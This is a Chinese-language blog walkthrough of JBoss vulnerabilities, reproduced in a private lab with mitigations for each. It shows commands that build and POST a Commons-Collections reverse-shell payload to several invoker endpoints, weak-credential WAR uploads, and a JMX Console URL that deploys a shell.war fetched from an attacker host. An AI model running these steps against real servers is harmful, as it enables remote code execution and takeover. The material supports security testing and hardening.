JBoss中间件漏洞总结

一.Jboss简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:8080

二.Jboss安装

下载地址:https://jbossas.jboss.org/downloads/

1.安装jdk

这里用了两台机子,一台安装老版本Jboss4,jdk选1.6,一台安装Jboss6.jdk选1.7

这里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的话访问JMX-console会报500;

安装jdk步骤网上教程很多,我就不写了,这里已经装好。

image-20210819161330082

image-20210819161353705

2.下载并安装Jboss6

下载jboss-6.1.0.Final:

image-20210819150959561

将其拉入虚拟机c盘

image-20210820101410679

新建环境变量:

JBOSS_HOME值为C:\jboss-6.1.0.Final

image-20210820101555697

path中加入:

;%JBOSS_HOME%\bin;

image-20210820101919780

在该目录下双击run.bat启动

C:\jboss-6.1.0.Final\bin

image-20210820102031667

出现info即为启动成功,本地可成功访问。

image-20210820102615856

此时远程访问是访问不了的,我们需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置实现外网访问。将address="${jboss.bind.address}"改成address=“0.0.0.0”

image-20210820105055554

保存后重启jboss,即可实现外网访问;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-96RgaLYG-1630060388009)(C:/Users/zcc/Pictures/image-20210820105424802.png)]

3.下载并安装Jboss4

Jboss4和Jboss6的安装步骤一样,唯一不同的是在外网访问的配置文件上修改的地方不太一样;

image-20210820135311614

进去下面目录,修改server.xml,如下图成功访问

C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

image-20210820135514710

image-20210820135718708

三.Jboss渗透

1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)

漏洞原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本
Jboss AS 5.x 
Jboss AS 6.x
漏洞验证

访问/invoker/readonly,返回500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),说明此页面存在反序列化漏洞

image-20210820144055866

漏洞复现

下载漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC

image-20210823090347902

编译(需要java环境)

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

这里我已经安装好

image-20210820144519927

开启监听

image-20210820144803249

选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据;生成ReverseShellCommonsCollectionsHashMap.class;

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja
va

image-20210823090310580

生成序列化数据ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192
.168.10.65:12345

image-20210823090832540

利用ReverseShellCommonsCollectionsHashMap.ser,以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包

curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823091400586

成功反弹shell。

安全防护

1.升级新版本。
2.删除http-invoker.sar 组件,路径如下

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

image-20210823093407062

3.添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中,用于对 http invoker 组件进行访问控制。

<url-pattern>/*</url-pattern>

路径为:

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF

image-20210823093730532

image-20210823093707651

2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0JBoss Fuse 6.2.0JBoss SOA Platform (SOA-P) 5.3.1JBoss Data Grid (JDG) 6.5.0JBoss BRMS (BRMS) 6.1.0JBoss BPMS (BPMS) 6.1.0JBoss Data Virtualization (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞验证
访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。

image-20210823092835771

漏洞复现

这里利用上面生成的序列化数据ReverseShellCommonsCollectionsHashMap.ser,发送到/invoker/JMXInvokerServlet接口中;

curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823093222160

成功反弹shell。

安全防护

同上;

3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本
Jboss AS 4.x及之前版本
漏洞验证
访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面,说明存在该漏洞

image-20210823094243623

漏洞复现

这里利用上面生成好的序列化数据,发送到改接口中:

curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823094553928

成功反弹shell

安全防护

升级到最新版本。

4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServletEJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本
 jboss 6.x 版本
漏洞验证
访问/invoker/EJBInvokerServlet,如果可以访问的到,说明存在漏洞

image-20210823094955346

漏洞复现

还是利用上面生成的.ser文件,通过POST 二进制数据上去,反向连接shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823095326056

5.Administration Console 弱口令

漏洞原理

Administration Console管理页面存在弱口令,登录后台可以上传war包

影响版本
漏洞验证

image-20210823100247859

漏洞复现

admin/admin弱口令登录,点击add a new resource上传war包

image-20210823104115380

点击war包进入下一层,若状态为stop,则点击start,默认都是start,不需要点。

image-20210823104345893

蚁剑成功连接

image-20210823104524819

安全防护

修改密码,密码文件路径为

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

或者删除Administration Console页面

Jboss版本>=6.0,admin-console页面路径为

C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本,路径为

C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

6.JMX Console未授权访问漏洞

漏洞原理

访问控制不严导致的漏洞,默认情况下访问 http://ip:8080/jmx-console 就可以访问管理控制台,不需要输入用户名和密码就可以直接浏览 JBoss 的部署管理的信息,部署上传木马,存在安全隐患。

影响版本
JBOSS 全版本
漏洞验证

点击主页的JMX Console进入页面

漏洞复现

Jboss4.x的复现:

kali开启远程服务,为了下面部署war包

image-20210823115736527

进入JXM Console之后,找到jboss.deployment

image-20210823111537878

点进去找到void addURL(),输入远程war包链接之后,点击invoke

image-20210823121654413

回到这个页面上方,点击Apply Changes

image-20210823121833925

返回到JMX Console页面,等待一会,刷新后可以看见部署成功

image-20210823122437357

蚁剑成功连接

image-20210823122620639

Jboss6.x的复现:

步骤差不多一样

image-20210823122818531

在该页面找到methodindex为17or19的deploy,填写远程war包的地址进行远程部署

image-20210823130424900

image-20210823130758283

image-20210823130823043

image-20210823131048341

或者是直接运行下面的语句部署即可

http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war

image-20210823131823568

蚁剑成功连接

image-20210823131009567

部署的路径为如下,可以看见自动部署出war中的文件。

C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

image-20210823131904293

安全防护

关闭jmx-console和web-console,提高安全性。

7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

漏洞原理

此漏洞主要是由于JBoss/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。

影响版本
Jboss4.x以下
漏洞复现
输⼊url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()

image-20210823133106427

分别向四个参数传入内容:

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的格式,p4传入的是上传文件的内容

image-20210823134213929

点击invoke

image-20210823134234176

经过测试,已经写入,但是目录底层不对,跳转不过去,无法上线蚁剑,这是个问题,暂时保留,有师傅有解决方法可以告诉我一下,万分感谢。

image-20210823142321972

image-20210823135236215

安全防护

目前官方已经发布了升级补丁以修复这个安全问题,请到官网的主页下载:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036

四.自动化渗透

jexboss自动化渗透

jexboss是针对jboss渗透自动化估计武器,是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。

下载地址:https://github.com/joaomatosf/jexboss

这里演示的环境是我上面搭建的4.x和6.x的环境。

输入命令

python jexboss.py -host http://192.168.10.213:8080/

输入yes即可

image-20210823141601720

image-20210823141649693

成功交互。

### JBoss 中间件常见漏洞及其修复方案 #### 背景概述 JBoss 是一种流行的 Java 应用服务器,广泛用于企业级应用开发。然而,由于其复杂性和广泛的使用场景,它也成为了攻击者的目标之一。常见的 JBoss 漏洞主要包括反序列化漏洞、未授权访问漏洞以及其他配置不当引发的安全问题。 --- #### 反序列化漏洞 反序列化漏洞是一种高危漏洞,可能导致远程代码执行 (RCE),从而完全控制受影响的系统。这种类型的漏洞在多个版本的 JBoss 中都曾被发现[^2]。 - **漏洞原理**: 攻击者通过发送恶意的序列化对象到 JBoss 的处理接口(如 HTTP 请求),触发反序列化过程中的代码执行。 - **解决方案**: - 更新至最新版本的 JBoss,官方通常会在新版本中修补已知漏洞。 - 移除不必要的组件和服务,特别是那些支持 RMI 和 JMX 协议的功能模块。 - 使用防火墙或 Web 应用防火墙 (WAF) 来阻止可疑流量。 - 配置严格的权限管理策略,确保只有经过身份验证的用户才能访问敏感功能。 --- #### 未授权访问漏洞 如果 JBoss 的管理界面或特定服务暴露在外网而没有适当的身份验证机制,则可能会发生未授权访问的情况。 - **漏洞表现**: 攻击者可以通过默认端口(如 `8080` 或 `9990`)直接访问管理页面并执行危险操作。 - **修复措施**: - 修改默认管理员账户的用户名和密码,并定期更换强密码。 - 关闭不需要的服务端口,仅开放必要的通信通道。 - 启用 HTTPS 加密传输协议来保护数据交换的安全性。 - 对外部请求实施 IP 白名单限制,防止非法来源连接。 --- #### 密码重置逻辑漏洞 虽然这不是 JBoss 特有的问题,但在集成第三方应用程序时仍需注意此类风险。例如,在实现密码找回功能的过程中可能存在设计缺陷,使得攻击者能够轻易更改他人账户密码[^3]。 - **防范对策**: - 在整个流程中加入额外的验证环节,比如二次确认邮件或者动态生成的一次性令牌。 - 确保所有的输入参数都在服务器端进行了充分校验而不是单纯依赖前端提交的数据。 - 记录每次尝试修改密码的行为以便事后审计追踪异常活动迹象。 --- ```bash # 示例:检查是否存在弱密码设置 curl --digest -u admin:password http://localhost:9990/management \ -H "Content-Type: application/json" \ -d '{"operation":"read-resource","address":[]}' ``` 上述脚本可用于测试当前环境下的基本认证安全性状况;实际部署前应替换掉示例中的明文凭证信息以防泄露隐患。 --- #### 综合防护建议 除了针对具体漏洞采取对应补救行动外,还应该建立全面的安全管理体系: 1. 定期审查日志文件查找潜在入侵痕迹; 2. 实施最小特权原则减少误操作带来的损害范围扩大可能性; 3. 利用自动化工具扫描源代码寻找隐藏的风险点; 4. 教育员工提高警惕意识避免社会工程学攻击得逞机会增加。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值